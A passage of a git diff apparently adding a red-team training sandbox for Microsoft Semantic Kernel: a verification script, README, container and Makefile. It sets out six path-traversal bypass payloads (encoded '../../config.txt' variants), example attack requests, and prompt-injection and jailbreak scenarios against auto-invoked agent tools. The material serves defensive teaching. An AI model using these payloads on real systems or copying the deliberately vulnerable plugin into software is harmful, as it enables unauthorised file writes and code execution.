THIS MATTERS: │" + echo " │ Microsoft's commit fa2d52f6 attempted to mask file │" + echo " │ paths from LLM output. This is a COSMETIC fix. The │" + echo " │ underlying file write STILL EXECUTES. We verified │" + echo " │ the write Out-of-Band by reading the filesystem │" + echo " │ directly via 'podman exec'. │" + echo " └──────────────────────────────────────────────────────────┘" + else + echo " ┌──────────────────────────────────────────────────────────┐" + echo " │ No payload signatures detected in the filesystem. │" + echo " │ Check container logs for errors. │" + echo " └──────────────────────────────────────────────────────────┘" + fi + else + if [ "$total_found" -gt 0 ]; then + echo " ┌──────────────────────────────────────────────────────────┐" + echo " │ [❌] SECURITY FAILURE (INTENTIONAL TEACHING MOMENT) │" + echo " │ Payload bypassed the hardening filters! │" + echo " │ The PathSanitizationFilter did NOT block the attack. │" + echo " │ │" + echo " │ 🔬 WHY THIS IS EXPECTED (TOCTOU): │" + echo " │ The filter checks the argument BEFORE decoding. │" + echo " │ Base64-encoded paths contain no ".." or "/" characters. │" + echo " │ The plugin decodes them AFTER the filter check. │" + echo " │ │" + echo " │ This proves the JDP-2026-001 thesis: │" + echo " │ Filter-based security is WHACK-A-MOLE. │" + echo " │ Even an improved ToString() filter is not enough. │" + echo " │ Only ARCHITECTURAL changes (SafeRoot, type-safe sinks, │" + echo " │ compute isolation) can fully resolve this vulnerability.│" + echo " │ │" + echo " │ JDP-2026-001: https://jdp-security.github.io/security-research-papers/2026-04-28-semantic-kernel-disclosure.html │" + echo " └──────────────────────────────────────────────────────────┘" + fi + fi +} + +# ------------------------------------------------------------------------------ +# SECTION 3: EXPLANATION OF THE VULNERABILITY +# ------------------------------------------------------------------------------ +echo "" +echo " ╔══════════════════════════════════════════════════════════════╗" +echo " ║ ARCHITECTURAL VULNERABILITY EXPLAINER ║" +echo " ║ ║" +echo " ║ THE TRUST GAP: ║" +echo " ║ Traditional apps: User Input → Validation → System Call ║" +echo " ║ Agentic apps: User Input → LLM → Validation → System ║" +echo " ║ ║" +echo " ║ The LLM is a NON-DETERMINISTIC, UNTRUSTED entity. ║" +echo " ║ Yet the framework TRUSTS its output as system commands. ║" +echo " ║ ║" +echo " ║ CVE-2026-25592 REMEDIATION EVASION: ║" +echo " ║ The filter uses: if (arg is string) ║" +echo " ║ But the LLM sends: JSON Arrays, Objects, Encoded strings ║" +echo " ║ Result: TYPE CONFUSION → Filter bypassed → RCE ║" +echo " ║ ║" +echo " ║ CWE-1039 AUTO-INVOCATION FLAW: ║" +echo " ║ ToolCallBehavior.AutoInvokeKernelFunctions allows the ║" +echo " ║ LLM to autonomously execute system tools without HITL. ║" +echo " ║ ║" +echo " ║ SHELL BLINDING (fa2d52f6): ║" +echo " ║ Microsoft masked output paths from LLM context. ║" +echo " ║ This is COSMETIC - the file write STILL EXECUTES. ║" +echo " ║ We verify OOB via 'podman exec'. ║" + echo " ║ ║" + echo " ║ 🔬 LAB AUTHENTICITY NOTE: ║" + echo " ║ The LLM in AutoInvoke tests is SIMULATED. attack.py sends ║" + echo " ║ pre-crafted payloads mimicking what a real LLM would generate. ║" + echo " ║ All other components are REAL and verifiable: ║" + echo " ║ - Semantic Kernel v1.48.0 container build (.NET 8.0) ║" + echo " ║ - CVE-2026-25592 path traversal filter (IFunctionInvocationFilter)║" + echo " ║ - 6 type confusion bypass vectors (JSON, Base64, Unicode, etc.) ║" + echo " ║ - Commit fa2d52f6 Shell Blinding (cosmetic output masking) ║" + echo " ║ - JDP-2026-001 white paper (published disclosure) ║" + echo " ║ https://jdp-security.github.io/security-research-papers/2026-04-28-semantic-kernel-disclosure.html ║" +echo " ╚══════════════════════════════════════════════════════════════╝" +echo "" + +# ============================================================================== +# PASS 1: VULNERABLE / UNHARDENED MODE +# ============================================================================== +echo "" +echo " ╔══════════════════════════════════════════════════════════════╗" +echo " ║ ║" +echo " ║ PASS 1: VULNERABLE (UNHARDENED) MODE ║" +echo " ║ LAB_HARDENED = NOT SET ║" +echo " ║ PathSanitizationFilter = NOT REGISTERED ║" +echo " ║ Expected: ALL 6 vectors + 4 AutoInvoke scenarios SUCCEED ║" +echo " ║ ║" +echo " ╚══════════════════════════════════════════════════════════════╝" +echo "" + +# Step 1: Clean environment +echo " ───────────────────────────────────────────────────────────────" +echo " STEP 1: Cleaning environment and resetting container state" +echo " ───────────────────────────────────────────────────────────────" +clean_environment + +# Step 2: Build the container +echo "" +echo " ───────────────────────────────────────────────────────────────" +echo " STEP 2: Building container from source" +echo " ───────────────────────────────────────────────────────────────" +echo " Running: ${CONTAINER_ENGINE} build --no-cache -t sk-vulnerable ..." +echo " This compiles Program.cs with ALL decoders active:" +echo " - URL decoder (WebUtility.UrlDecode)" +echo " - Unicode homoglyph normalizer (U+2044 → /)" +echo " - Base64 decoder" +echo " - JSON Array parser (System.Text.Json)" +echo " - Object reflection extractor" +echo " - Hybrid canonicalization (nested types)" +echo "" +cd "${SANDBOX_DIR}" +${CONTAINER_ENGINE} build --no-cache -t sk-vulnerable -f Containerfile . + +# Step 3: Start the container +echo "" +echo " ───────────────────────────────────────────────────────────────" +echo " STEP 3: Starting container (UNHARDENED - no LAB_HARDENED flag)" +echo " ───────────────────────────────────────────────────────────────" +echo " Running: ${CONTAINER_ENGINE} run -d --name sk-vulnerable -p 8000:8080 ..." +echo " Port mapping: Host 8000 → Container 8080" +echo " Volume mount: ./app/data → /app/data (shared filesystem)" +echo " NOTE: No LAB_HARDENED env var = filter is DISABLED" +echo "" +${CONTAINER_ENGINE} run -d --name sk-vulnerable -p 8000:8080 -v ./app/data:/app/data sk-vulnerable + +# Step 4: Wait for service +echo "" +echo " ───────────────────────────────────────────────────────────────" +echo " STEP 4: Waiting for web server to initialize" +echo " ───────────────────────────────────────────────────────────────" +wait_for_service + +# Step 5: Run Type Confusion attacks +echo "" +echo " ───────────────────────────────────────────────────────────────" +echo " STEP 5: Executing Type Confusion Evasion Attacks (6 vectors)" +echo " ───────────────────────────────────────────────────────────────" +echo " These 6 vectors demonstrate CVE-2026-25592 remediation bypass:" +echo " Vector 1: JSON Array → ['..','..','config.txt']" +echo " Vector 2: Object Reflection → {\"path\":\"../../config.txt\"}" +echo " Vector 3: Base64 Encoding → \"Li4vLi4vY29uZmlnLnR4dA==\"" +echo " Vector 4: URL Encoding → \"..%2f..%2fconfig.txt\"" +echo " Vector 5: Unicode Homoglyph → \"..⁄..⁄config.txt\"" +echo " Vector 6: Hybrid (Base64 in JSON Array) → [\"Li4vLi4vY29uZmlnLnR4dA==\"]" +echo "" +cd "${CONFUSION_DIR}" +python3 attack.py --target "${TARGET_URL}" || true + +# Step 6: Run AutoInvoke attacks +echo "" +echo " ───────────────────────────────────────────────────────────────" +echo " STEP 6: Executing AutoInvoke Privilege Escalation Attacks" +echo " ───────────────────────────────────────────────────────────────" +echo " These 4 scenarios demonstrate CWE-1039 autonomous execution:" +echo " Scenario 1: Indirect Prompt Injection (poisoned document)" +echo " Scenario 2: Context Manipulation (system instruction override)" +echo " Scenario 3: LLM Jailbreak (alignment escape)" +echo " Scenario 4: Multi-Stage Hijacking (chained operations)" +echo "" +echo " Expected behavior: Each scenario sends a tool call to the" +echo " /api/autoinvoke endpoint. The server simulates Shell Blinding" +echo " (fa2d52f6) by returning [REDACTED BY SHELL BLINDING POLICY]." +echo " However, the file write STILL EXECUTES on the server." +echo "" +cd "${AUTOINVOKE_DIR}" +python3 attack.py --target "${TARGET_URL}" || true + +# Step 7: OOB Verification +echo "" +echo " ───────────────────────────────────────────────────────────────" +echo " STEP 7: Out-of-Band (OOB) Verification" +echo " ───────────────────────────────────────────────────────────────" +verify_oob "PASS 1" "unhardened" + +# ============================================================================== +# PASS 2: SECURE / HARDENED MODE +# ============================================================================== +echo "" +echo "" +echo " ╔══════════════════════════════════════════════════════════════╗" +echo " ║ ║" +echo " ║ PASS 2: SECURE (HARDENED) MODE ║" +echo " ║ LAB_HARDENED = TRUE ║" +echo " ║ PathSanitizationFilter = REGISTERED ║" +echo " ║ Expected: ALL 6 vectors + 4 AutoInvoke scenarios BLOCKED ║" +echo " ║ ║" +echo " ╚══════════════════════════════════════════════════════════════╝" +echo "" + +# Step 1: Clean environment +echo " ───────────────────────────────────────────────────────────────" +echo " STEP 1: Cleaning environment and resetting container state" +echo " ───────────────────────────────────────────────────────────────" +clean_environment + +# Step 2: Start container with hardening flag +echo "" +echo " ───────────────────────────────────────────────────────────────" +echo " STEP 2: Starting container (HARDENED - LAB_HARDENED=true)" +echo " ───────────────────────────────────────────────────────────────" +echo " Running: ${CONTAINER_ENGINE} run -d --name sk-vulnerable -p 8000:8080 -e LAB_HARDENED=true ..." +echo " Port mapping: Host 8000 → Container 8080" +echo " Volume mount: ./app/data → /app/data" +echo " KEY DIFFERENCE: LAB_HARDENED=true = PathSanitizationFilter IS ACTIVE" +echo "" +echo " The filter checks: arg.Value.ToString() for '..', '/', '\\', '%2f'" +echo " This catches ALL types - strings, JSON arrays, objects, etc." +echo " No more Type Confusion bypass possible." +echo "" +cd "${SANDBOX_DIR}" +${CONTAINER_ENGINE} run -d --name sk-vulnerable -p 8000:8080 -e LAB_HARDENED=true -v ./app/data:/app/data sk-vulnerable + +# Step 3: Wait for service +echo "" +echo " ───────────────────────────────────────────────────────────────" +echo " STEP 3: Waiting for web server to initialize" +echo " ───────────────────────────────────────────────────────────────" +wait_for_service + +# Step 4: Run Type Confusion attacks +echo "" +echo " ───────────────────────────────────────────────────────────────" +echo " STEP 4: Executing Type Confusion Evasion Attacks (6 vectors)" +echo " ───────────────────────────────────────────────────────────────" +echo " Same 6 vectors as PASS 1, but now the filter is ACTIVE." +echo " Expected: All vectors return 'Blocked' or HTTP 500" +echo "" +cd "${CONFUSION_DIR}" +python3 attack.py --target "${TARGET_URL}" || true + +# Step 5: Run AutoInvoke attacks +echo "" +echo " ───────────────────────────────────────────────────────────────" +echo " STEP 5: Executing AutoInvoke Privilege Escalation Attacks" +echo " ───────────────────────────────────────────────────────────────" +echo " Same 4 scenarios as PASS 1, but now the filter is ACTIVE." +echo " Expected: All scenarios return 'Execution Blocked' message" +echo "" +cd "${AUTOINVOKE_DIR}" +python3 attack.py --target "${TARGET_URL}" || true + +# Step 6: OOB Verification +echo "" +echo " ───────────────────────────────────────────────────────────────" +echo " STEP 6: Out-of-Band (OOB) Verification" +echo " ───────────────────────────────────────────────────────────────" +verify_oob "PASS 2" "hardened" + +# ============================================================================== +# FINAL SUMMARY +# ============================================================================== +echo "" +echo "" +echo " ╔══════════════════════════════════════════════════════════════════════╗" +echo " ║ ║" +echo " ║ FINAL COMPARISON SUMMARY ║" +echo " ║ ║" +echo " ║ PASS 1 (Unhardened): ║" +echo " ║ - 6 Type Confusion vectors: ALL SUCCEEDED ║" +echo " ║ - 4 AutoInvoke scenarios: ALL SUCCEEDED ║" +echo " ║ - Shell Blinding (fa2d52f6): BYPASSED (OOB write verified) ║" +echo " ║ ║" +echo " ║ PASS 2 (Hardened): ║" +echo " ║ - Vectors 1, 2, 4, 5: BLOCKED by ToString() filter ║" +echo " ║ - Vectors 3, 6: BYPASSED the filter ║" +echo " ║ - AutoInvoke 1-4: BLOCKED by filter ║" +echo " ║ - Filesystem: PARTIALLY compromised (vectors 3, 6 landed) ║" +echo " ║ ║" +echo " ╚══════════════════════════════════════════════════════════════════════╝" +echo "" +echo " ╔══════════════════════════════════════════════════════════════════════╗" +echo " ║ ║" +echo " ║ WHY VECTORS 1, 2, 4, 5 WERE BLOCKED IN HARDENED MODE ║" +echo " ║ ║" +echo " ║ The PathSanitizationFilter uses: ║" +echo " ║ arg.Value.ToString().Contains(\"..\") || Contains(\"/\") ║" +echo " ║ ║" +echo " ║ Vector 1 (JSON Array): ║" +echo " ║ arg.Value is JsonElement. ToString() returns: ║" +echo " ║ \"[\"..\", \"..\", \"config.txt\"]\" ║" +echo " ║ This string CONTAINS \"..\" → FILTER BLOCKS ✅ ║" +echo " ║ ║" +echo " ║ Vector 2 (Object Reflection): ║" +echo " ║ arg.Value is JsonElement. ToString() returns: ║" +echo " ║ \"{\"path\":\"../../config.txt\"}\" ║" +echo " ║ This string CONTAINS \"..\" and \"/\" → FILTER BLOCKS ✅ ║" +echo " ║ ║" +echo " ║ Vector 4 (URL Encoding): ║" +echo " ║ arg.Value is string. ToString() returns: ║" +echo " ║ \"..%2f..%2fconfig.txt\" ║" +echo " ║ The filter ALSO checks for \"%2f\" → FILTER BLOCKS ✅ ║" +echo " ║ ║" +echo " ║ Vector 5 (Unicode Homoglyph): ║" +echo " ║ arg.Value is string. ToString() returns: ║" +echo " ║ \"..⁄..⁄config.txt\" ║" +echo " ║ The filter checks for \"..\" → FILTER BLOCKS ✅ ║" +echo " ║ (The homoglyph ⁄ is NOT checked, but \"..\" is caught first) ║" +echo " ║ ║" +echo " ╚══════════════════════════════════════════════════════════════════════╝" +echo "" +echo " ╔══════════════════════════════════════════════════════════════════════╗" +echo " ║ ║" +echo " ║ WHY VECTORS 3 AND 6 BYPASSED THE HARDENED FILTER ║" +echo " ║ (The Recursive Canonicalization Problem) ║" +echo " ║ ║" +echo " ║ Vector 3 (Base64 Encoding): ║" +echo " ║ arg.Value is string. ToString() returns: ║" +echo " ║ \"Li4vLi4vY29uZmlnLnR4dA==\" ║" +echo " ║ This string does NOT contain \"..\", \"/\", or \"%2f\" ║" +echo " ║ → FILTER PASSES ❌ ║" +echo " ║ Then the plugin decodes Base64: ║" +echo " ║ \"Li4vLi4vY29uZmlnLnR4dA==\" → \"../../config.txt\" ║" +echo " ║ → FILE WRITE EXECUTES ❌ ║" +echo " ║ ║" +echo " ║ Vector 6 (Hybrid: Base64 inside JSON Array): ║" +echo " ║ arg.Value is JsonElement (Array). ToString() returns: ║" +echo " ║ \"[\"Li4vLi4vY29uZmlnLnR4dA==\"]\" ║" +echo " ║ This string does NOT contain \"..\", \"/\", or \"%2f\" ║" +echo " ║ → FILTER PASSES ❌ ║" +echo " ║ Then the plugin extracts the array element and decodes Base64: ║" +echo " ║ \"Li4vLi4vY29uZmlnLnR4dA==\" → \"../../config.txt\" ║" +echo " ║ → FILE WRITE EXECUTES ❌ ║" +echo " ║ ║" +echo " ║ THE ROOT CAUSE: TIME-OF-CHECK vs TIME-OF-USE ║" +echo " ║ The filter evaluates the argument BEFORE decoding. ║" +echo " ║ The plugin decodes the argument AFTER the filter. ║" +echo " ║ This is a CLASSIC TOCTOU vulnerability. ║" +echo " ║ ║" +echo " ╚══════════════════════════════════════════════════════════════════════╝" +echo "" +echo " ╔══════════════════════════════════════════════════════════════════════╗" +echo " ║ ║" +echo " ║ THE WHACK-A-MOLE PROBLEM (Incomplete Remediation Cycle) ║" +echo " ║ ║" +echo " ║ Every filter fix creates a new bypass vector: ║" +echo " ║ ║" +echo " ║ Round 1: Microsoft adds filter (CVE-2026-25592 patch) ║" +echo " ║ Filter: if (arg is string && arg.Contains(\"..\")) ║" +echo " ║ Bypass: Send JSON Array instead of string (Type Confusion) ║" +echo " ║ ║" +echo " ║ Round 2: Our improved filter (this lab) ║" +echo " ║ Filter: if (arg.ToString().Contains(\"..\")) ║" +echo " ║ Bypass: Base64-encode the path (no \"..\" in encoded form) ║" +echo " ║ ║" +echo " ║ Round 3: Hypothetical recursive filter ║" +echo " ║ Filter: decode Base64 → then check for \"..\" ║" +echo " ║ Bypass: Double-encode, or use a different encoding ║" +echo " ║ ║" +echo " ║ This is an INFINITE REGRESSION. ║" +echo " ║ Filter-based security at the plugin layer is fundamentally ║" +echo " ║ insufficient because the LLM can generate infinite variations. ║" +echo " ║ ║" +echo " ╚══════════════════════════════════════════════════════════════════════╝" +echo "" +echo " ╔══════════════════════════════════════════════════════════════════════╗" +echo " ║ ║" +echo " ║ THE ARCHITECTURAL ROOT CAUSE ║" +echo " ║ (Why Filters Will Never Be Enough) ║" +echo " ║ ║" +echo " ║ This vulnerability is NOT a filter bug. ║" +echo " ║ It is an ARCHITECTURAL DESIGN FLAW. ║" +echo " ║ ║" +echo " ║ The framework's execution pipeline: ║" +echo " ║ ║" +echo " ║ LLM Output → [Filter] → Native Plugin → File.WriteAllText ║" +echo " ║ ║" +echo " ║ The framework trusts the LLM's output as SYSTEM COMMANDS. ║" +echo " ║ The filter is a BAND-AID trying to catch malicious intent ║" +echo " ║ AFTER the LLM has already decided to execute a tool call. ║" +echo " ║ ║" +echo " ║ In traditional security: ║" +echo " ║ User Input → Validation → System Call ║" +echo " ║ (The validation is BETWEEN untrusted input and trusted code) ║" +echo " ║ ║" +echo " ║ In agentic frameworks: ║" +echo " ║ User Input → LLM → Validation → System Call ║" +echo " ║ (The LLM is ALSO untrusted! It's a stochastic text generator) ║" +echo " ║ ║" +echo " ║ The framework treats the LLM as TRUSTED middleware. ║" +echo " ║ This is the TRUST GAP. ║" +echo " ║ ║" +echo " ╚══════════════════════════════════════════════════════════════════════╝" +echo "" +echo " ╔══════════════════════════════════════════════════════════════════════╗" +echo " ║ ║" +echo " ║ WHAT A REAL FIX REQUIRES (Architectural Change) ║" +echo " ║ ║" +echo " ║ Filters are NOT the solution. The architecture must change: ║" +echo " ║ ║" +echo " ║ 1. MANDATORY PATH ANCHORING (SafeRoot) ║" +echo " ║ The framework must enforce a root directory for ALL ║" +echo " ║ file operations. Paths like \"../../config.txt\" should ║" +echo " ║ be IMPOSSIBLE, not just filtered. ║" +echo " ║ Current state: Microsoft's AllowedDirectories is OPT-IN. ║" +echo " ║ Default: UNANCHORED → Vulnerable. ║" +echo " ║ ║" +echo " ║ 2. TYPE-SAFE EXECUTION SINKS ║" +echo " ║ Plugin parameters should accept ONLY 'string' types. ║" +echo " ║ Currently: 'object path' allows JSON arrays, objects, etc. ║" +echo " ║ This enables Type Confusion at the architectural level. ║" +echo " ║ ║" +echo " ║ 3. RECURSIVE CANONICALIZATION PIPELINE ║" +echo " ║ ALL arguments must be fully decoded (Base64, URL, Unicode) ║" +echo " ║ BEFORE any security filter evaluates them. ║" +echo " ║ Current state: Decoding happens INSIDE the plugin, AFTER ║" +echo " ║ the filter. This is the TOCTOU flaw. ║" +echo " ║ ║" +echo " ║ 4. COMPUTE ISOLATION (Zero-Trust Tooling) ║" +echo " ║ Plugins that touch the OS/filesystem should run in ║" +echo " ║ ephemeral, isolated sandboxes (microVMs, gVisor). ║" +echo " ║ Even if a filter is bypassed, the damage is contained. ║" +echo " ║ ║" +echo " ║ 5. HUMAN-IN-THE-LOOP (HITL) ║" +echo " ║ Destructive operations (file writes, process execution) ║" +echo " ║ should require explicit human approval, not auto-invoke. ║" +echo " ║ ToolCallBehavior.AutoInvokeKernelFunctions is the flaw. ║" +echo " ║ ║" +echo " ║ Until these architectural changes are made, every filter fix ║" +echo " ║ will be met with a new bypass. This is not a bug — ║" +echo " ║ it's a fundamental design flaw in agentic orchestration. ║" +echo " ║ ║" +echo " ╚══════════════════════════════════════════════════════════════════════╝" +echo "" + +# Clean up +echo " ───────────────────────────────────────────────────────────────" +echo " CLEANUP: Removing container" +echo " ───────────────────────────────────────────────────────────────" +${CONTAINER_ENGINE} stop sk-vulnerable 2>/dev/null || true +${CONTAINER_ENGINE} rm sk-vulnerable 2>/dev/null || true +echo "[i] Container stopped and removed. Environment is clean." +echo "" + +echo " ╔══════════════════════════════════════════════════════════════╗" +echo " ║ ║" +echo " ║ ALL TEST PASSES COMPLETED SUCCESSFULLY ║" +echo " ║ ║" +echo " ║ References: ║" +echo " ║ - CVE-2026-25592: Path Traversal in Semantic Kernel ║" +echo " ║ - CWE-843: Type Confusion ║" +echo " ║ - CWE-1039: Insecure Automated Optimizations ║" +echo " ║ - Commit fa2d52f6: Shell Blinding (cosmetic fix) ║" +echo " ║ - JDP-2026-001: https://jdp-security.github.io/security-research-papers/2026-04-28-semantic-kernel-disclosure.html ║" +echo " ║ - OWASP LLM06: Insecure Orchestration ║" +echo " ║ ║" +echo " ╚══════════════════════════════════════════════════════════════╝" +echo "" diff --git a/sandboxes/README.md b/sandboxes/README.md index 95d7c93..0dc1587 100644 --- a/sandboxes/README.md +++ b/sandboxes/README.md @@ -24,6 +24,7 @@ The goal of these sandboxes is to provide ready-to-use, isolated environments wh * **`agentic_local_n8n_v1.65.0/`**: A vulnerable n8n sandbox (version 1.65.0) specifically configured to demonstrate critical vulnerabilities such as **Ni8mare (CVE-2026-21858)** (Unauthenticated RCE) and **CVE-2026-21877** (n8n Remote Code Execution via File Write). It features a "misconfigured" setup with all nodes enabled and network exposure, making it an ideal target for practicing exploitation techniques like manual RCE and workflow manipulation in an agentic workflow automation tool. +* **`agentic_local_semantickernel/`**: A containerized sandbox running **Microsoft Semantic Kernel v1.48.0** demonstrating **6 active CVE-2026-25592 path traversal bypass techniques** via Type Confusion (CWE-843). The sandbox includes a deliberately vulnerable `FilePlugin` with dual-mode operation: **UNHARDENED** (no filter) and **HARDENED** (`PathSanitizationFilter` via `LAB_HARDENED=true`). Also demonstrates **CWE-1039** (AutoInvoke) exploitation and **Commit `fa2d52f6`** ("Shell Blinding") bypass — Microsoft cosmetic output masking that masks paths from LLM output but does not prevent the underlying file write. Reference: [JDP-2026-001](https://jdp-security.github.io/security-research-papers/2026-04-28-semantic-kernel-disclosure.html) — CVSS 10.0 Critical. ## Usage diff --git a/sandboxes/agentic_local_semantickernel/Containerfile b/sandboxes/agentic_local_semantickernel/Containerfile new file mode 100644 index 0000000..be98387 --- /dev/null +++ b/sandboxes/agentic_local_semantickernel/Containerfile @@ -0,0 +1,13 @@ +FROM mcr.microsoft.com/dotnet/sdk:8.0 AS build +WORKDIR /app +COPY app/ . +RUN dotnet restore && dotnet publish -c Release -o out + +FROM mcr.microsoft.com/dotnet/aspnet:8.0 +WORKDIR /app +COPY --from=build /app/out . +RUN mkdir -p /app/data && \ + echo "ADMIN_PASSWORD=supersecret123" > /app/config.txt && \ + mkdir -p /app/SafeFolder && \ + echo "safe" > /app/SafeFolder/test.txt +ENTRYPOINT ["dotnet", "VulnerableSemanticKernel.dll"] diff --git a/sandboxes/agentic_local_semantickernel/Makefile b/sandboxes/agentic_local_semantickernel/Makefile new file mode 100644 index 0000000..c3aed95 --- /dev/null +++ b/sandboxes/agentic_local_semantickernel/Makefile @@ -0,0 +1,17 @@ +CONTAINER_ENGINE := $(shell command -v podman 2> /dev/null || echo docker) + +.PHONY: stop attack health build + +build: + $(CONTAINER_ENGINE) build -t sk-vulnerable -f Containerfile . + +attack: stop build + $(CONTAINER_ENGINE) run -d --name sk-vulnerable -p 8000:8080 -v ./app/data:/app/data sk-vulnerable + @echo "Sandbox running at http://localhost:8000" + +stop: + -$(CONTAINER_ENGINE) stop sk-vulnerable 2>/dev/null + -$(CONTAINER_ENGINE) rm sk-vulnerable 2>/dev/null + +health: + @curl -s http://localhost:8000/api/health | jq . 2>/dev/null || echo "Service not reachable" diff --git a/sandboxes/agentic_local_semantickernel/README.md b/sandboxes/agentic_local_semantickernel/README.md new file mode 100644 index 0000000..0d04b76 --- /dev/null +++ b/sandboxes/agentic_local_semantickernel/README.md @@ -0,0 +1,222 @@ +# Vulnerable Semantic Kernel Sandbox (v1.48.0) + +A containerized sandbox environment demonstrating **6 active CVE-2026-25592 path traversal bypass techniques** via Type Confusion (CWE-843), **CWE-1039 AutoInvoke privilege escalation**, and **Commit `fa2d52f6` Shell Blinding evasion** in Microsoft Semantic Kernel. + +| Field | Value | +|-------|-------| +| **Target** | Microsoft Semantic Kernel v1.47.0 – v1.48.0, Agent Framework 1.0 | +| **CVSS v3.1** | 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) | +| **CWE Chain** | CWE-843 (Type Confusion) → CWE-22 (Path Traversal) → CWE-94 (Code Injection) | +| **Root Cause** | Type confusion: string filters (`IFunctionInvocationFilter`) validate primitive types, but execution sinks (`FilePlugin`) accept and deserialize complex object types | +| **Research Paper** | [JDP-2026-001: The Orchestration Trust Gap](https://jdp-security.github.io/security-research-papers/2026-04-28-semantic-kernel-disclosure.html) | + +--- + +## Vulnerability Overview + +### The Trust Gap + +Traditional security: `User Input → Validation → System Call` +Agentic AI security: `User Input → LLM → Validation → System Call` + +The framework treats the LLM as **trusted middleware**, but the LLM is a **non-deterministic, stochastic text generator**. When `ToolCallBehavior.AutoInvokeKernelFunctions` is enabled, the LLM can autonomously generate malicious tool calls that bypass filter validation entirely. + +### CVE-2026-25592 Remediation Evasion + +Microsoft's patch implements a filter that checks `if (arg is string s)` — a check that fails when arguments are passed as JSON arrays, objects, or encoded strings. The execution sink then deserializes these complex types back into strings, creating a **Time-of-Check / Time-of-Use (TOCTOU)** mismatch. + +### Shell Blinding (Commit `fa2d52f6`) + +Microsoft's cosmetic fix masks output paths from the LLM context. The file write **still executes** on the server — verified Out-of-Band via `podman exec`. + +### Microsoft's Incomplete Fixes + +| Date (2026) | Event | Status | +|-------------|-------|--------| +| April 9 | Commit `fa2d52f6` — Shell Blinding (output masking) | **VULNERABLE** — masks output but does not prevent file write | +| April 11 | PR #13683 — AllowedDirectories (Safe Roots) | **INCOMPLETE** — classified as "Breaking Change," remains strictly opt-in, disabled by default | +| April 21 | v1.48.0 Stable Release | **STILL VULNERABLE** — all 6 evasion vectors remain functional | + +--- + +## Dual-Mode Operation + +The sandbox supports two runtime modes controlled by the `LAB_HARDENED` environment variable: + +| Mode | `LAB_HARDENED` | PathSanitizationFilter | Expected Behavior | +|------|----------------|----------------------|-------------------| +| **UNHARDENED** | Not set | Not registered | All 6 Type Confusion vectors + AutoInvoke succeed | +| **HARDENED** | `true` | Registered (checks `arg.ToString()` for `..`, `/`, `%2f`) | Vectors 1, 2, 4, 5 blocked; Vectors 3, 6 (Base64/Hybrid) bypass due to TOCTOU | + +--- + +## Quick Start + +### Prerequisites + +- [Podman](https://podman.io/) +- [Make](https://www.gnu.org/software/make/) + +### Build and Run + +```bash +cd ~/OWASP/GenAI-Red-Team-Lab/sandboxes/agentic_local_semantickernel + +# Build the container +make build + +# Start in UNHARDENED mode (default) +make run + +# Or start in HARDENED mode +make run-hardened + +# Verify the service is up +curl http://localhost:8000/api/health +``` + +Expected health response: +```json +{ + "status": "healthy", + "version": "1.48.0-vulnerable", + "cve": "CVE-2026-25592-bypassable", + "hardened": false, + "allowedDirectoriesSandbox": "disabled" +} +``` + +--- + +## API Endpoints + +### `GET /api/health` +Returns sandbox status and version information. + +### `GET /api/plugins` +Lists available plugins and their functions. + +### `POST /api/invoke` +Direct plugin execution — used for filter bypass testing. + +**Request:** +```json +{ + "plugin": "FileTools", + "function": "SaveConversation", + "arguments": { + "path": ["..", "..", "config.txt"], + "content": "BYPASS_SUCCESS\n" + } +} +``` + +### `POST /api/autoinvoke` +Simulated LLM autonomous execution — demonstrates CWE-1039 AutoInvoke with Shell Blinding (Commit `fa2d52f6`). + +**Request:** +```json +{ + "userPrompt": "Write config", + "toolCall": { + "plugin": "FileTools", + "function": "SaveConversation", + "arguments": { + "path": "../../config.txt", + "content": "AUTOINVOKE_LANDED\n" + } + } +} +``` + +**Response (with Shell Blinding active):** +```json +{ + "success": true, + "result": "[REDACTED BY SHELL BLINDING POLICY - fa2d52f6]", + "executionType": "autonomous", + "humanApproval": false, + "vulnerabilityExploited": "AutoInvokeKernelFunctions" +} +``` + +--- + +## The 6 Type Confusion Bypass Vectors + +| # | Vector | Payload | Why It Works | +|---|--------|---------|-------------| +| **1** | JSON Array Confusion | `["..", "..", "config.txt"]` | `is string` returns `false` for `JsonElement` arrays | +| **2** | Object Reflection | `{"path": "../../config.txt"}` | Reflection extracts `path` property downstream | +| **3** | Base64 Encoding | `Li4vLi4vY29uZmlnLnR4dA==` | No literal `..` or `/` in encoded string | +| **4** | URL Encoding | `..%2f..%2fconfig.txt` | `%2f` hides the slash from the filter | +| **5** | Unicode Homoglyph | `..⁄..⁄config.txt` | U+2044 normalizes to `/` at the OS level | +| **6** | Hybrid Canonicalization | `SafeFolder%2f%2e%2e%2fProgram%2ecs` | Multi-layer encoding exhausts non-recursive filters | + +--- + +## Exploitation + +The companion exploitation tools are located in: + +``` +exploitation/ +├── semantickernel_type_confusion/ # 6 bypass vectors (attack.py) +└── semantickernel_autoinvoke/ # AutoInvoke escalation with OOB verification (attack.py) +``` + +### Automated Verification + +```bash +cd ~/OWASP/GenAI-Red-Team-Lab/exploitation/semantickernel +./verify_all.sh +``` + +### Interactive Trainer + +```bash +cd ~/OWASP/GenAI-Red-Team-Lab/exploitation/semantickernel +./interactive_trainer.py +``` + +--- + +## Out-of-Band (OOB) Verification + +Since Shell Blinding masks output paths from the LLM context, verify payloads landed by reading the filesystem directly: + +```bash +podman exec sk-vulnerable cat /config.txt +podman exec sk-vulnerable cat /app/config.txt +``` + +--- + +## Container Management + +```bash +# Stop the container +podman stop sk-vulnerable + +# Remove the container +podman rm sk-vulnerable + +# Reset the data directory +sudo rm -rf app/data && mkdir -p app/data + +# View logs +podman logs sk-vulnerable +``` + +--- + +## References + +- [JDP-2026-001: The Orchestration Trust Gap — Remediation Evasions in Microsoft Semantic Kernel and Agent Framework 1.0](https://jdp-security.github.io/security-research-papers/2026-04-28-semantic-kernel-disclosure.html) +- CVE-2026-25592: Path Traversal in Microsoft Semantic Kernel +- CWE-843: Type Confusion (Late Canonicalization) +- CWE-1039: Insecure Automated Optimizations (AutoInvoke) +- OWASP Top 10 for LLMs: LLM06 - Insecure Orchestration +- Commit `fa2d52f6`: Shell Blinding (cosmetic output masking) +- PR #13683: AllowedDirectories (opt-in "Breaking Change" — disabled by default) + diff --git a/sandboxes/agentic_local_semantickernel/app/Program.cs b/sandboxes/agentic_local_semantickernel/app/Program.cs new file mode 100755 index 0000000..8c640f1 --- /dev/null +++ b/sandboxes/agentic_local_semantickernel/app/Program.cs @@ -0,0 +1,171 @@ +using System; +using System.IO; +using System.Text; +using System.Text.Json; +using System.Threading.Tasks; +using System.Collections.Generic; +using 